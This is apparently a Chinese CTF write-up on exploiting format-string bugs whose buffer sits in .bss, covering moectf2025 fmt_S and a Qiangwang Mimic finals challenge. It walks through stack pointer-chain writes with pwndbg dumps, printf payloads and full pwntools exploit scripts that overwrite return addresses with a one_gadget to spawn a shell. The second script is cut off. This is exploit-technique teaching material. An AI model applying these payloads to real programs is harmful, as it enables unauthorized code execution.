0x00 时值 moectf2025(比赛原因写完过了两个月才发布),虽然已经不是小登了,但还是做几题练练手,顺带总结一下非栈上fmtstr
同时补充六届强网拟态线下赛的一道题目
0x01 关于非栈上fmtstr利用 之前一直没有专门记录过非栈上fmtstr
的利用,姑且提一嘴 当我们读入的地址不在栈上时候(位于bss
段或者堆上),便不能直接写入地址,所以不好简单的直接进行任意地址写,这时候就需要另一些办法,比较广泛的有利用栈上的指针跳板实现部分地址写(诸葛连弩 or 四马分肥),或者将栈迁移到对应区域,又或者是栈上可能存在着指向link_map
的指针,利用其来修改l_addr
,劫持fini_array
下面用 moectf2025 的 fmt_s 来记录一下指针跳板的利用
0x02 moectf2025 | fmt_S 先把源码放出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int __fastcall main (int argc, const char **argv, const char **envp) { int i; init(argc, argv, envp); puts ("You're walking down the road when a monster appear." ); for ( i = 1 ; i <= 3 && !flag; ++i ) talk(); if ( (unsigned __int64)atk <= 0x1BF52 ) puts ("You've been eaten by the monster." ); else he(); return 0 ; }
然后是关键的talk
函数
1 2 3 4 5 6 7 8 9 10 size_t talk () { puts ("You start talking to him..." ); flag ^= 1u ; read(0 , fmt, 0x20u LL); printf (fmt); puts ("?" ); puts ("You enraged the monster-prepare for battle!" ); return my_read(&atk, 8uLL ); }
明显的fmtstr漏洞,但是注意这里读入的fmt
是在bss
段的
1 2 3 4 5 6 7 8 9 10 11 12 .bss:00000000004040A0 atk dq ? ; DATA XREF: talk+7A↑o .bss:00000000004040A0 ; main:loc_4013BE↑r .bss:00000000004040A8 public flag .bss:00000000004040A8 flag dd ? ; DATA XREF: talk+1B↑r .bss:00000000004040A8 ; talk+24↑w ... .bss:00000000004040AC align 20h .bss:00000000004040C0 public fmt .bss:00000000004040C0 ; char fmt[256] .bss:00000000004040C0 fmt db 100h dup(?) ; DATA XREF: talk+2F↑o .bss:00000000004040C0 ; talk+43↑o .bss:00000000004040C0 _bss ends .bss:00000000004040C0
结合一下main
函数逻辑,会通过变量i
(位于栈上)和变量flag
来限制fmt
的使用 然后我们看封装的my_read
,
1 2 3 4 5 size_t __fastcall my_read (_BYTE *a1, size_t a2) { a1[read(0 , a1, a2)] = 0 ; return strlen (a1); }
这里有个点就是当我们输入满八字节时候,它会多补一个0 ,实现对flag
的置0,从而可以绕过flag
的限制(原本flag
是0,然后每次talk
函数都会将其按位异或1,实现一个翻转的效果,而只有flag
等于0时候才能进入talk
函数) 至于i
的计数限制,我们用一次fmtstr
利用来修改其最高字节为0xff
,将其变为一个大负数即可 这样两个限制绕过了,我们便可以进行任意次的fmtstr
的利用 看一眼可能的后门函数,其实没用
1 2 3 4 5 6 7 8 9 10 11 unsigned __int64 he () { char command[6 ]; unsigned __int64 v2; v2 = __readfsqword(0x28u ); qmemcpy(command, "a_flag" , sizeof (command)); puts ("The monster is defeated, and you obtain: flag?" ); system(command); return v2 - __readfsqword(0x28u ); }
回到正题,我们如何进行这个bss
段上的fmtstr的利用呢?尽管fmtstr
不在栈上,其使用k$
来索引参数时,也是在栈上索引的,我们这里是64位,这样索引的前5 个参数都是寄存器的值(从rsi
开始,rdi
存放fmtstr
本身),从6$
开始便会索引到栈区域 所以我们能利用的便是栈上的数据,我们可以利用栈上的多级指针,修改其指向我们想要指向的地址,从而再利用其来修改数据,调试看看 在进入printf
函数后,我们查看栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 pwndbg> stack 60 00:0000│ rsp 0x7ffcaf1e86c8 —▸ 0x401337 (talk+87) ◂— lea rax, [rip + 0xd15] 01:0008│-010 0x7ffcaf1e86d0 —▸ 0x7ffcaf1e8818 —▸ 0x7ffcaf1e906a ◂— '/home/r3t2/CTF/moectf2025/fmt_s/pwn_patched' 02:0010│-008 0x7ffcaf1e86d8 —▸ 0x40136f (main) ◂— endbr64 03:0018│ rbp 0x7ffcaf1e86e0 —▸ 0x7ffcaf1e8700 ◂— 1 04:0020│+008 0x7ffcaf1e86e8 —▸ 0x4013b1 (main+66) ◂— add dword ptr [rbp - 4], 1 05:0028│+010 0x7ffcaf1e86f0 ◂— 0x1000 06:0030│+018 0x7ffcaf1e86f8 ◂— 0x100401110 07:0038│+020 0x7ffcaf1e8700 ◂— 1 08:0040│+028 0x7ffcaf1e8708 —▸ 0x79b4da629d90 (__libc_start_call_main+128) ◂— mov edi, eax 09:0048│+030 0x7ffcaf1e8710 ◂— 0 0a:0050│+038 0x7ffcaf1e8718 —▸ 0x40136f (main) ◂— endbr64 0b:0058│+040 0x7ffcaf1e8720 ◂— 0x1af1e8800 0c:0060│+048 0x7ffcaf1e8728 —▸ 0x7ffcaf1e8818 —▸ 0x7ffcaf1e906a ◂— '/home/r3t2/CTF/moectf2025/fmt_s/pwn_patched' 0d:0068│+050 0x7ffcaf1e8730 ◂— 0 0e:0070│+058 0x7ffcaf1e8738 ◂— 0xa80c940d072fe83d 0f:0078│+060 0x7ffcaf1e8740 —▸ 0x7ffcaf1e8818 —▸ 0x7ffcaf1e906a ◂— '/home/r3t2/CTF/moectf2025/fmt_s/pwn_patched' 10:0080│+068 0x7ffcaf1e8748 —▸ 0x40136f (main) ◂— endbr64 11:0088│+070 0x7ffcaf1e8750 —▸ 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011c0 (__do_global_dtors_aux) ◂— endbr64 12:0090│+078 0x7ffcaf1e8758 —▸ 0x79b4da8e6040 (_rtld_global) —▸ 0x79b4da8e72e0 ◂— 0 13:0098│+080 0x7ffcaf1e8760 ◂— 0x57f5ca30090de83d 14:00a0│+088 0x7ffcaf1e8768 ◂— 0x5b6520c83da5e83d 15:00a8│+090 0x7ffcaf1e8770 ◂— 0x79b400000000 16:00b0│+098 0x7ffcaf1e8778 ◂— 0 ... ↓ 3 skipped 1a:00d0│+0b8 0x7ffcaf1e8798 ◂— 0x10b499ce6a95af00 1b:00d8│+0c0 0x7ffcaf1e87a0 ◂— 0 1c:00e0│+0c8 0x7ffcaf1e87a8 —▸ 0x79b4da629e40 (__libc_start_main+128) ◂— mov r15, qword ptr [rip + 0x1f0159] 1d:00e8│+0d0 0x7ffcaf1e87b0 —▸ 0x7ffcaf1e8828 —▸ 0x7ffcaf1e9096 ◂— 'SHELL=/bin/bash' 1e:00f0│+0d8 0x7ffcaf1e87b8 —▸ 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011c0 (__do_global_dtors_aux) ◂— endbr64 1f:00f8│+0e0 0x7ffcaf1e87c0 —▸ 0x79b4da8e72e0 ◂— 0 20:0100│+0e8 0x7ffcaf1e87c8 ◂— 0 21:0108│+0f0 0x7ffcaf1e87d0 ◂— 0 22:0110│+0f8 0x7ffcaf1e87d8 —▸ 0x401110 (_start) ◂— endbr64 23:0118│+100 0x7ffcaf1e87e0 —▸ 0x7ffcaf1e8810 ◂— 1 24:0120│+108 0x7ffcaf1e87e8 ◂— 0 25:0128│+110 0x7ffcaf1e87f0 ◂— 0 26:0130│+118 0x7ffcaf1e87f8 —▸ 0x401135 (_start+37) ◂— hlt 27:0138│+120 0x7ffcaf1e8800 —▸ 0x7ffcaf1e8808 ◂— 0x1c 28:0140│+128 0x7ffcaf1e8808 ◂— 0x1c 29:0148│+130 0x7ffcaf1e8810 ◂— 1 2a:0150│ r12 0x7ffcaf1e8818 —▸ 0x7ffcaf1e906a ◂— '/home/r3t2/CTF/moectf2025/fmt_s/pwn_patched' 2b:0158│+140 0x7ffcaf1e8820 ◂— 0 2c:0160│+148 0x7ffcaf1e8828 —▸ 0x7ffcaf1e9096 ◂— 'SHELL=/bin/bash' 2d:0168│+150 0x7ffcaf1e8830 —▸ 0x7ffcaf1e90a6 ◂— 'no_proxy=172.31.*,172.30.*,172.29.*,172.28.*,172.27.*,172.26.*,172.25.*,172.24.*,172.23.*,172.22.*,172.21.*,172.20.*,172.19.*,172.18.*,172.17.*,172.16.*,10.*,192.168.*,127.*,localhost,<local>' 2e:0170│+158 0x7ffcaf1e8838 —▸ 0x7ffcaf1e9166 ◂— 'WSL2_GUI_APPS_ENABLED=1' 2f:0178│+160 0x7ffcaf1e8840 —▸ 0x7ffcaf1e917e ◂— 'WSL_DISTRO_NAME=Ubuntu-22.04' 30:0180│+168 0x7ffcaf1e8848 —▸ 0x7ffcaf1e919b ◂— 'WT_SESSION=0372699a-7fe9-401a-a75b-8b48d2e5f1c0' 31:0188│+170 0x7ffcaf1e8850 —▸ 0x7ffcaf1e91cb ◂— 'NAME=LAPTOP-6JKPOVPE' 32:0190│+178 0x7ffcaf1e8858 —▸ 0x7ffcaf1e91e0 ◂— 'PWD=/home/r3t2/CTF/moectf2025/fmt_s' 33:0198│+180 0x7ffcaf1e8860 —▸ 0x7ffcaf1e9204 ◂— 'LOGNAME=r3t2' 34:01a0│+188 0x7ffcaf1e8868 —▸ 0x7ffcaf1e9211 ◂— 'HOME=/home/r3t2' 35:01a8│+190 0x7ffcaf1e8870 —▸ 0x7ffcaf1e9221 ◂— 'LANG=C.UTF-8' 36:01b0│+198 0x7ffcaf1e8878 —▸ 0x7ffcaf1e922e ◂— 'WSL_INTEROP=/run/WSL/445_interop' 37:01b8│+1a0 0x7ffcaf1e8880 —▸ 0x7ffcaf1e924f ◂— 0x524f4c4f435f534c ('LS_COLOR') 38:01c0│+1a8 0x7ffcaf1e8888 —▸ 0x7ffcaf1e983e ◂— 'WAYLAND_DISPLAY=wayland-0' 39:01c8│+1b0 0x7ffcaf1e8890 —▸ 0x7ffcaf1e9858 ◂— 'https_proxy=http://127.0.0.1:7897' 3a:01d0│+1b8 0x7ffcaf1e8898 —▸ 0x7ffcaf1e987a ◂— 'LESSCLOSE=/usr/bin/lesspipe %s %s' 3b:01d8│+1c0 0x7ffcaf1e88a0 —▸ 0x7ffcaf1e989c ◂— 'TERM=xterm-256color'
注意到这里存在一个多级指针
1 0c:0060│+048 0x7ffcaf1e8728 —▸ 0x7ffcaf1e8818 —▸ 0x7ffcaf1e906a ◂— '/home/r3t2/CTF/moectf2025/fmt_s/pwn_patched'
很容易发现,0x7ffcaf1e906a
(记为p2
)和栈上地址仅仅相差低两字节,如果我们能将其修改为返回地址的栈上地址,然后后续再找到0x7ffcaf1e8818
(记为p1
)的偏移处,即
1 2a:0150│ r12 0x7ffcaf1e8818 —▸ 0x7ffcaf1e906a ◂— '/home/r3t2/CTF/moectf2025/fmt_s/pwn_patched'
就能修改对应的地址处的数据 以修改i
为例子,首先我们找到i
在栈上的位置,因为i
是一个int
,这里位于高四字节处
1 06:0030│+018 0x7ffcaf1e86f8 ◂— 0x100401110
如果我们将p2
的低两字节改为这里的0x86f8+7
,那么p2
便指向了i
在栈上的最高字节,后续再通过p1
写入0xff
,便将其修改成了一个大负数,这里第一步的exp为
1 2 3 4 5 payload='%{}c' .format ((i_addr & 0xffff ) + 7 ).encode() + b"%17$hn" io.recvuntil(b'him...' ) io.send(payload) io.recvuntil(b'battle!' ) io.send(p64(0 ))
关于这里地址的泄露,我们很容易能在栈上找到栈地址和libc地址,如下所示
1 2 3 03:0018│ rbp 0x7ffcaf1e86e0 —▸ 0x7ffcaf1e8700 ◂— 1 ... 1c:00e0│+0c8 0x7ffcaf1e87a8 —▸ 0x79b4da629e40 (__libc_start_main+128) ◂— mov r15, qword ptr [rip + 0x1f0159]
故地址泄露不再赘述 我们看修改结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 pwndbg> stack 40 00:0000│ rbp rsp 0x7ffcaf1e86e0 —▸ 0x7ffcaf1e8700 ◂— 1 01:0008│+008 0x7ffcaf1e86e8 —▸ 0x4013b1 (main+66) ◂— add dword ptr [rbp - 4], 1 02:0010│+010 0x7ffcaf1e86f0 ◂— 0x1000 03:0018│+018 0x7ffcaf1e86f8 ◂— 0x300401110 04:0020│+020 0x7ffcaf1e8700 ◂— 1 05:0028│+028 0x7ffcaf1e8708 —▸ 0x79b4da629d90 (__libc_start_call_main+128) ◂— mov edi, eax 06:0030│+030 0x7ffcaf1e8710 ◂— 0 07:0038│+038 0x7ffcaf1e8718 —▸ 0x40136f (main) ◂— endbr64 08:0040│+040 0x7ffcaf1e8720 ◂— 0x1af1e8800 09:0048│+048 0x7ffcaf1e8728 —▸ 0x7ffcaf1e8818 —▸ 0x7ffcaf1e86ff ◂— 0x100 0a:0050│+050 0x7ffcaf1e8730 ◂— 0 0b:0058│+058 0x7ffcaf1e8738 ◂— 0xa80c940d072fe83d 0c:0060│+060 0x7ffcaf1e8740 —▸ 0x7ffcaf1e8818 —▸ 0x7ffcaf1e86ff ◂— 0x100 0d:0068│+068 0x7ffcaf1e8748 —▸ 0x40136f (main) ◂— endbr64 0e:0070│+070 0x7ffcaf1e8750 —▸ 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011c0 (__do_global_dtors_aux) ◂— endbr64 0f:0078│+078 0x7ffcaf1e8758 —▸ 0x79b4da8e6040 (_rtld_global) —▸ 0x79b4da8e72e0 ◂— 0 10:0080│+080 0x7ffcaf1e8760 ◂— 0x57f5ca30090de83d 11:0088│+088 0x7ffcaf1e8768 ◂— 0x5b6520c83da5e83d 12:0090│+090 0x7ffcaf1e8770 ◂— 0x79b400000000 13:0098│+098 0x7ffcaf1e8778 ◂— 0 ... ↓ 3 skipped 17:00b8│+0b8 0x7ffcaf1e8798 ◂— 0x10b499ce6a95af00 18:00c0│+0c0 0x7ffcaf1e87a0 ◂— 0 19:00c8│+0c8 0x7ffcaf1e87a8 —▸ 0x79b4da629e40 (__libc_start_main+128) ◂— mov r15, qword ptr [rip + 0x1f0159] 1a:00d0│+0d0 0x7ffcaf1e87b0 —▸ 0x7ffcaf1e8828 —▸ 0x7ffcaf1e9096 ◂— 'SHELL=/bin/bash' 1b:00d8│+0d8 0x7ffcaf1e87b8 —▸ 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011c0 (__do_global_dtors_aux) ◂— endbr64 1c:00e0│+0e0 0x7ffcaf1e87c0 —▸ 0x79b4da8e72e0 ◂— 0 1d:00e8│+0e8 0x7ffcaf1e87c8 ◂— 0 1e:00f0│+0f0 0x7ffcaf1e87d0 ◂— 0 1f:00f8│+0f8 0x7ffcaf1e87d8 —▸ 0x401110 (_start) ◂— endbr64 20:0100│+100 0x7ffcaf1e87e0 —▸ 0x7ffcaf1e8810 ◂— 1 21:0108│+108 0x7ffcaf1e87e8 ◂— 0 22:0110│+110 0x7ffcaf1e87f0 ◂— 0 23:0118│+118 0x7ffcaf1e87f8 —▸ 0x401135 (_start+37) ◂— hlt 24:0120│+120 0x7ffcaf1e8800 —▸ 0x7ffcaf1e8808 ◂— 0x1c 25:0128│+128 0x7ffcaf1e8808 ◂— 0x1c 26:0130│+130 0x7ffcaf1e8810 ◂— 1 27:0138│ r12 0x7ffcaf1e8818 —▸ 0x7ffcaf1e86ff ◂— 0x100
可以看到p1
指针已经修改到了i
在栈上的高字节
1 2 3 0c:0060│+060 0x7ffcaf1e8740 —▸ 0x7ffcaf1e8818 —▸ 0x7ffcaf1e86ff ◂— 0x100 ... 27:0138│ r12 0x7ffcaf1e8818 —▸ 0x7ffcaf1e86ff ◂— 0x100
接着第二步,利用p1
修改i
的符号位
1 2 3 4 5 payload='%{}c' .format (0xff ).encode() + b"%47$hhn" io.recvuntil(b'him...' ) io.send(payload) io.recvuntil(b'battle!' ) io.send(p64(0 ))
我们看效果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 pwndbg> stack 40 00:0000│ rbp rsp 0x7ffcaf1e86e0 —▸ 0x7ffcaf1e8700 ◂— 1 01:0008│+008 0x7ffcaf1e86e8 —▸ 0x4013b1 (main+66) ◂— add dword ptr [rbp - 4], 1 02:0010│+010 0x7ffcaf1e86f0 ◂— 0x1000 03:0018│+018 0x7ffcaf1e86f8 ◂— 0xff00000400401110 04:0020│+020 0x7ffcaf1e8700 ◂— 1 05:0028│+028 0x7ffcaf1e8708 —▸ 0x79b4da629d90 (__libc_start_call_main+128) ◂— mov edi, eax 06:0030│+030 0x7ffcaf1e8710 ◂— 0 07:0038│+038 0x7ffcaf1e8718 —▸ 0x40136f (main) ◂— endbr64 08:0040│+040 0x7ffcaf1e8720 ◂— 0x1af1e8800 09:0048│+048 0x7ffcaf1e8728 —▸ 0x7ffcaf1e8818 —▸ 0x7ffcaf1e86ff ◂— 0x1ff 0a:0050│+050 0x7ffcaf1e8730 ◂— 0 0b:0058│+058 0x7ffcaf1e8738 ◂— 0xa80c940d072fe83d 0c:0060│+060 0x7ffcaf1e8740 —▸ 0x7ffcaf1e8818 —▸ 0x7ffcaf1e86ff ◂— 0x1ff 0d:0068│+068 0x7ffcaf1e8748 —▸ 0x40136f (main) ◂— endbr64 0e:0070│+070 0x7ffcaf1e8750 —▸ 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011c0 (__do_global_dtors_aux) ◂— endbr64 0f:0078│+078 0x7ffcaf1e8758 —▸ 0x79b4da8e6040 (_rtld_global) —▸ 0x79b4da8e72e0 ◂— 0 10:0080│+080 0x7ffcaf1e8760 ◂— 0x57f5ca30090de83d 11:0088│+088 0x7ffcaf1e8768 ◂— 0x5b6520c83da5e83d 12:0090│+090 0x7ffcaf1e8770 ◂— 0x79b400000000 13:0098│+098 0x7ffcaf1e8778 ◂— 0 ... ↓ 3 skipped 17:00b8│+0b8 0x7ffcaf1e8798 ◂— 0x10b499ce6a95af00 18:00c0│+0c0 0x7ffcaf1e87a0 ◂— 0 19:00c8│+0c8 0x7ffcaf1e87a8 —▸ 0x79b4da629e40 (__libc_start_main+128) ◂— mov r15, qword ptr [rip + 0x1f0159] 1a:00d0│+0d0 0x7ffcaf1e87b0 —▸ 0x7ffcaf1e8828 —▸ 0x7ffcaf1e9096 ◂— 'SHELL=/bin/bash' 1b:00d8│+0d8 0x7ffcaf1e87b8 —▸ 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011c0 (__do_global_dtors_aux) ◂— endbr64 1c:00e0│+0e0 0x7ffcaf1e87c0 —▸ 0x79b4da8e72e0 ◂— 0 1d:00e8│+0e8 0x7ffcaf1e87c8 ◂— 0 1e:00f0│+0f0 0x7ffcaf1e87d0 ◂— 0 1f:00f8│+0f8 0x7ffcaf1e87d8 —▸ 0x401110 (_start) ◂— endbr64 20:0100│+100 0x7ffcaf1e87e0 —▸ 0x7ffcaf1e8810 ◂— 1 21:0108│+108 0x7ffcaf1e87e8 ◂— 0 22:0110│+110 0x7ffcaf1e87f0 ◂— 0 23:0118│+118 0x7ffcaf1e87f8 —▸ 0x401135 (_start+37) ◂— hlt 24:0120│+120 0x7ffcaf1e8800 —▸ 0x7ffcaf1e8808 ◂— 0x1c 25:0128│+128 0x7ffcaf1e8808 ◂— 0x1c 26:0130│+130 0x7ffcaf1e8810 ◂— 1 27:0138│ r12 0x7ffcaf1e8818 —▸ 0x7ffcaf1e86ff ◂— 0x1ff pwndbg> x/dw 0x7ffcaf1e86f8+4 0x7ffcaf1e86fc: -16777212
可以看到i
已经被修改成了一个大负数-16777212
后续思路便是不断修改p2
指针指向,再通过p1
来修改数据,将main
返回地址修改为one_gadget
我们找到一个合适的one_gadget
1 2 3 4 5 0xebd3f execve("/bin/sh", rbp-0x50, [rbp-0x70]) constraints: address rbp-0x48 is writable rax == NULL || {rax, r12, NULL} is a valid argv [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
其条件rax == NULL
这里已经满足,因为main
函数return 0会将rax
置0,然后address rbp-0x48 is writable
以及[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
就需要我们再通过调试,将rbp
修改为栈上合适的值(也是通过p2
和p1
的组合技来修改,后来才知道这个打法叫“诸葛连弩”,还是很形象的) 最后要使main
返回的话只需要在talk
函数中最后不发送八字节数据,发送一个‘0’即可 放上exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) filename = "pwn_patched" libcname = "/home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.8/amd64/libc6_2.35-0ubuntu3.8_amd64/lib/x86_64-linux-gnu/libc.so.6" host = "127.0.0.1" port = 56167 elf = context.binary = ELF(filename) if libcname: libc = ELF(libcname) gs = ''' b main set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.8/amd64/libc6-dbg_2.35-0ubuntu3.8_amd64/usr/lib/debug set directories /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.8/amd64/glibc-source_2.35-0ubuntu3.8_all/usr/src/glibc/glibc-2.35 b talk ''' def start (): if args.P: return process(elf.path) elif args.R: return remote(host, port) else : return gdb.debug(elf.path, gdbscript = gs) io = start() payload=b'%8$p%33$p' io.recvuntil(b'him...' ) io.sendline(payload) io.recvuntil(b'0x' ) stack_addr=int (io.recv(12 ),16 ) ret_addr=stack_addr-0x18 +0x20 i_addr=ret_addr+0x10 -0x20 log.success("ret_addr in stack-->" +hex (ret_addr)) log.success("i_addr in stack-->" +hex (i_addr)) io.recvuntil(b'0x' ) libc_start_main=int (io.recv(12 ),16 )-128 libc_base=libc_start_main-libc.sym['__libc_start_main' ] log.success("libc_base-->" +hex (libc_base)) io.recvuntil(b'battle!' ) io.send(p64(0 )) payload='%{}c' .format ((i_addr & 0xffff ) + 7 ).encode() + b"%17$hn" io.recvuntil(b'him...' ) io.send(payload) io.recvuntil(b'battle!' ) io.send(p64(0 )) payload='%{}c' .format (0xff ).encode() + b"%47$hhn" io.recvuntil(b'him...' ) io.send(payload) io.recvuntil(b'battle!' ) io.send(p64(0 )) payload='%{}c' .format (ret_addr & 0xffff ).encode() + b"%17$hn" io.recvuntil(b'him...' ) io.send(payload) io.recvuntil(b'battle!' ) io.send(p64(0 )) backdoor=libc_base+0xebd3f payload='%{}c' .format (backdoor & 0xffff ).encode() + b"%47$hn" io.recvuntil(b'him...' ) io.send(payload) io.recvuntil(b'battle!' ) io.send(p64(0 )) payload='%{}c' .format ((ret_addr & 0xffff ) + 2 ).encode() + b"%17$hn" io.recvuntil(b'him...' ) io.send(payload) io.recvuntil(b'battle!' ) io.send(p64(0 )) payload='%{}c' .format ((backdoor >> 16 ) & 0xffff ).encode() + b"%47$hn" io.recvuntil(b'him...' ) io.send(payload) io.recvuntil(b'battle!' ) io.send(p64(0 )) rbp_addr=ret_addr-0x8 payload='%{}c' .format (rbp_addr & 0xffff ).encode() + b"%17$hn" io.recvuntil(b'him...' ) io.send(payload) io.recvuntil(b'battle!' ) io.send(p64(0 )) rbp=ret_addr+0x80 -0x8 payload='%{}c' .format (rbp & 0xffff ).encode() + b"%47$hn" io.recvuntil(b'him...' ) io.send(payload) io.recvuntil(b'battle!' ) io.send(p64(0 )) payload='%{}c' .format ((rbp_addr & 0xffff ) + 2 ).encode() + b"%17$hn" io.recvuntil(b'him...' ) io.send(payload) io.recvuntil(b'battle!' ) io.send(p64(0 )) payload='%{}c' .format ((rbp >> 16 ) & 0xffff ).encode() + b"%47$hn" io.recvuntil(b'him...' ) io.send(payload) io.recvuntil(b'battle!' ) io.send(p64(0 )) payload='%{}c' .format ((rbp_addr & 0xffff ) + 4 ).encode() + b"%17$hn" io.recvuntil(b'him...' ) io.send(payload) io.recvuntil(b'battle!' ) io.send(p64(0 )) payload='%{}c' .format ((rbp >> 32 ) & 0xffff ).encode() + b"%47$hn" io.recvuntil(b'him...' ) io.send(payload) io.recvuntil(b'battle!' ) io.sendline(b'0' ) io.interactive()
看本地效果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 [DEBUG] Received 0x22 bytes: b"You've been eaten by the monster.\n" You've been eaten by the monster. $ ls [DEBUG] Sent 0x3 bytes: b'ls\n' [DEBUG] Received 0x39 bytes: b'exp.py\tld-linux-x86-64.so.2 libc.so.6 pwn pwn_patched\n' exp.py ld-linux-x86-64.so.2 libc.so.6 pwn pwn_patched $ whoami [DEBUG] Sent 0x7 bytes: b'whoami\n' [DEBUG] Received 0x5 bytes: b'r3t2\n' r3t2 $
远程也可打通
0x03 比较极限的情况 第六届强网拟态线下赛的一道题目
1 2 3 4 5 6 7 8 9 10 11 12 int __fastcall __noreturn main (int argc, const char **argv, const char **envp) { __int64 savedregs; setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); setbuf(stderr , 0LL ); printf ("Gift: %x\n" , (unsigned __int16)((unsigned __int16)&savedregs - 12 )); read(0 , buf, 0x100u LL); printf (buf); _exit(0 ); }
先给出了栈地址的低二字节,然后什么都没有了 第一想法就是打指针跳板,调试可以看到
1 2 3 06:0030│+018 0x7fffffffdbb8 —▸ 0x7fffffffdc98 —▸ 0x7fffffffdf83 ◂— '/home/r3t2/ctf/temp/pwn_patched' ... 16:00b0│+098 0x7fffffffdc38 —▸ 0x7fffffffdca8 —▸ 0x7fffffffdfa3 ◂— 'SHELL=/bin/bash'
这两条链,同时还有个发现
1 17:00b8│+0a0 0x7fffffffdc40 —▸ 0x7ffff7ffe190 —▸ 0x555555554000 ◂— 0x10102464c457f
这是一个指向link_map
结点的指针
1 2 3 4 5 6 7 8 9 pwndbg> tele 0x7ffff7ffe190 00:0000│ 0x7ffff7ffe190 —▸ 0x555555554000 ◂— 0x10102464c457f 01:0008│ 0x7ffff7ffe198 —▸ 0x7ffff7ffe730 ◂— 0 02:0010│ 0x7ffff7ffe1a0 —▸ 0x555555557d98 (_DYNAMIC) ◂— 1 03:0018│ 0x7ffff7ffe1a8 —▸ 0x7ffff7ffe740 —▸ 0x7ffff7fcd000 ◂— jg 0x7ffff7fcd047 04:0020│ 0x7ffff7ffe1b0 ◂— 0 05:0028│ 0x7ffff7ffe1b8 —▸ 0x7ffff7ffe190 —▸ 0x555555554000 ◂— 0x10102464c457f 06:0030│ 0x7ffff7ffe1c0 ◂— 0 07:0038│ 0x7ffff7ffe1c8 —▸ 0x7ffff7ffe718 —▸ 0x7ffff7ffe730 ◂— 0
确实符合特点,但是这题打这个是打不通的,遂放弃 所以还是打指针跳板
1 2 3 4 5 6 7 8 9 10 11 .text:0000000000001223 mov edx, 100h ; nbytes .text:0000000000001228 lea rax, buf .text:000000000000122F mov rsi, rax ; buf .text:0000000000001232 mov edi, 0 ; fd .text:0000000000001237 call _read .text:000000000000123C lea rax, buf .text:0000000000001243 mov rdi, rax ; format .text:0000000000001246 mov eax, 0 .text:000000000000124B call _printf .text:0000000000001250 mov edi, 0 ; status .text:0000000000001255 call __exit
可以看到这里fmtstr
利用一次后没有其他机会,马上call __exit
,那我们就只能修改printf
自身的返回地址到调用read
前,这样才可能多次利用,这需要两条指针跳板链,为什么呢?因为一条用来修改printf
的返回地址,一条用来布置one_gadget
这时又出现了奇怪的现象
1 2 3 payload = '%{}c' .format (printf_ret).encode() + b"%11$hn" + \ '%{}c' .format (0x10000 - printf_ret + 0x23 ).encode() + b"%39$hhn" io.send(payload)
最初我是这样写的,调试发现仅仅成功修改了跳板,而目标,也就是printf
的返回地址却没有修改到,后续当然就做不出来
1 2 3 payload = b'%p' *9 + '%{}c' .format (printf_ret - 90 ).encode() + b"%hn" + \ '%{}c' .format (0x10000 - printf_ret + 0x23 ).encode() + b"%39$hhn" io.send(payload)
而换个偏移方式,这样却能同时修改成功,非常诡异,需要探究一下,见另一篇博客 那么我们只能修改printf
的返回地址,如果要修改其为one_gadget
的话是不行的,因为我们打指针跳板要一部分一部分的改,需要多次printf
正常返回到read
,来进行多次利用,所以我们在printf
的返回地址的下一个栈单元布置one_gadget
,最后布置完后修改printf
返回到ret
即可
1 .text:00000000000012C4 retn
找到我们方便改写的ret
地址,最后exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) filename = "pwn_patched" libcname = "/home/r3t2/.config/cpwn/pkgs/2.31-0ubuntu9.18/amd64/libc6_2.31-0ubuntu9.18_amd64/lib/x86_64-linux-gnu/libc.so.6" host = "127.0.0.1" port = 1337 elf = context.binary = ELF(filename) if libcname: libc = ELF(libcname) gs = ''' b printf set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.31-0ubuntu9.18/amd64/libc6-dbg_2.31-0ubuntu9.18_amd64/usr/lib/debug set directories /home/r3t2/.config/cpwn/pkgs/2.31-0ubuntu9.18/amd64/glibc-source_2.31-0ubuntu9.18_all/usr/src/glibc/glibc-2.31 ''' def start (): if args.P: return process(elf.path) elif args.R: return remote(host, port) else : return gdb.debug(elf.path, gdbscript = gs) io = start() main_offset = 0x11a9 read_offset = 0x1223 fini_array = 0x3d90 